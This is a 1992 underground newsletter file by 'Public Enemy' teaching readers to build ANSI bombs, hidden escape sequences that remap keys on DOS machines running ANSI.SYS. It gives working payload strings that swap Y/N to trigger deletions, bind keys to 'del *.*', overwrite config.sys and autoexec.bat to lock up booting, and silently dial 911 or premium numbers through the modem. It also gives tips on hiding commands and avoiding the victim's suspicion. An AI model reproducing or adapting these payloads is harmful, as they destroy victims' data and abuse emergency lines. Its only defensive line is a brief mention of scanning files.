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How to make ANSI bombs

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                Vaginal and Anal Secretions Newsletter #0035                 
          Date Released : [06/29/92]       Author: Public Enemy              
                          How To Make ANSi Bombs.                            

     Everyone fears those dreaded virii, and trojans, but there is
no protection for ansi bombs.  This might come as a shock to you,
but it is true<G>.  I will Show you how to make ansi's, and ansi
bombs.  This will enable you to check, and see if an ansi is a
bomb, or not.

     If you want to make ansis, or ansi bombs, then you need to
install ANSI.SYS in your CONFIG.SYS.  You should already have this
installed.  If you don't, and you don't know how to install it,
then you are probably just a lammer, and you won't under stand
another word said from here on in.

     Before you start making ansi bombs, you should be able to
make your own ansis.  You can do this on your own with a text
editor, or you can do it the easy way with a program such as

     In the following I will explain the ansi command set.  Before
I do this you should know that all command lines need to begin
with the ESCAPE charecter, wich is decimal 27.  The Commands are
as follows:

     After you look over the commands, you can see there is a lot
of destruction that needs to be done<G>.

     Once you have made your ansi.  You will want to insert your
ansi bomb.  There are many diferent types of ansi bombs, but I
will only describe a few of them.  You should use your
imagination, and Dos/Ansi/Trojan skills to come up with a very
uniqe and creative ansi bomb.

     One of the Simplest ansi bombs is the Y/N ansi bomb.  It
simply replaces the N for Y, and the Y for N.  This will fool the
user into pressing `N' instead of `Y' to delete the root
directory, and so on.  I think you get the picture.  The code is
as follows:  ESC[78;89;13p ESC[110;121;13p  As you can see the
code adds a <RETURN> after Y or N so it automatically performs the
Deletion, or FORMATION<G>.

     To hide the commands you must change the foreground color to
the same as the background color.  This will hide the commands
that are embeded in your ansi bomb.

     In most ansi bombs you will want to hide the commands.  This
is where the ">NUL" command comes in handy.  If you use it after
the original command it will hide the statements.  For example if
you type "Dir >Nul" it will do a directory, but it will not
display it on the screen.  The exception is that it will display
almost all errors that do occur.

     Another Version of the key assignment is as follows:
ESC[13;27;13;"del *.*";13p  You probably know what this one does.
If not then try it out<G>.

     Here's some code that will loop/lock up your computer at boot
up.  The code is as follows:
ESC[13;"^C";13;"copy con c:\config.sys";13;"device=config.sys
";13;0;64;13p  ESC[13;"^C";13;"copy con c:\autoexec.bat";13;
The first will lock up the computer, but the second one can be
aborted by using <CTRL-BREAK>.  They both can be cured if the user
boots of a floppy.  Even though, they still are deadly<G>.

     Another ansi bomb that will bring you a lot of pleasure uses
the same key assignment techniques.  The code is as follows:
ESC[13;27;13;"copy Great.ans C:\";13;"Copy Con
C:\Autoexec.bat";13;"Type Great.ans";13;0;109;13;"Cls";13p
This will copy the Great.ans to your autoexec.bat.  This will
scare the user into thinking he has a virus.  This will work
untill the victem boots off of a floppy disk.  If he/she truely is
a lamer he/she won't know how to make a new autoexec.bat<G>.

     Locking up the computer is really easy to do.  If the
computer recieves <ALT-250>, and <ALT-244> it will go into a
motionless state<G>. The code is:
ESC[13;"^C";13;"copy con";13;"";13;0;64;13;

     Believe it or not.  You can use your modem from Dos.  This
creates an array of ansi bomb creations.  A few ideas might be:
Call 911, Call LD numbers, or Call 1-976 Number.  To Dial 911 the
code is as follows:  ESC[13;"^C";13;"ECHO ATDT 911>COM1";13p
You can do almost anything you want with this command.  For
example you can use all the AT command set.  I would recomend that
you add the AT command that will silence the modem speaker before
it dials out.  This way they won't know what is going on.

     Some possable ansi bomb creations are as follows:
      -Silence the modem in the autoexec.bat.
       The user wont know why they can't here it dial.
      -Create a totally new autoexec.bat.
      -rearange the config.sys lines around.
      -Embed an ansi that redefines all keys in the autoexec.bat.
       Everytime they boot all the keys will be mixed up.
      -Use your imagination; mine is all used up<G>.

      -Try not to access the HD along time without a message.
      -Allways tell the user what you are doing.
       What your supposed to be doing to mask other operations.
      -Try and make it as quick as possable before suspision
      -Embed all your bombs into good ansis to preoccupy the user.

      -Be very careful when testing your ansi bombs.
       They can cause havoc even if you know what they are doing.
      -I am not responsable for any damage done to your system.
      -Always beware of using "TYPE" with an ansi.
       Use "EDIT" and scan for ansi bomb codes.
      -Beware of PuBLiC EnEmY

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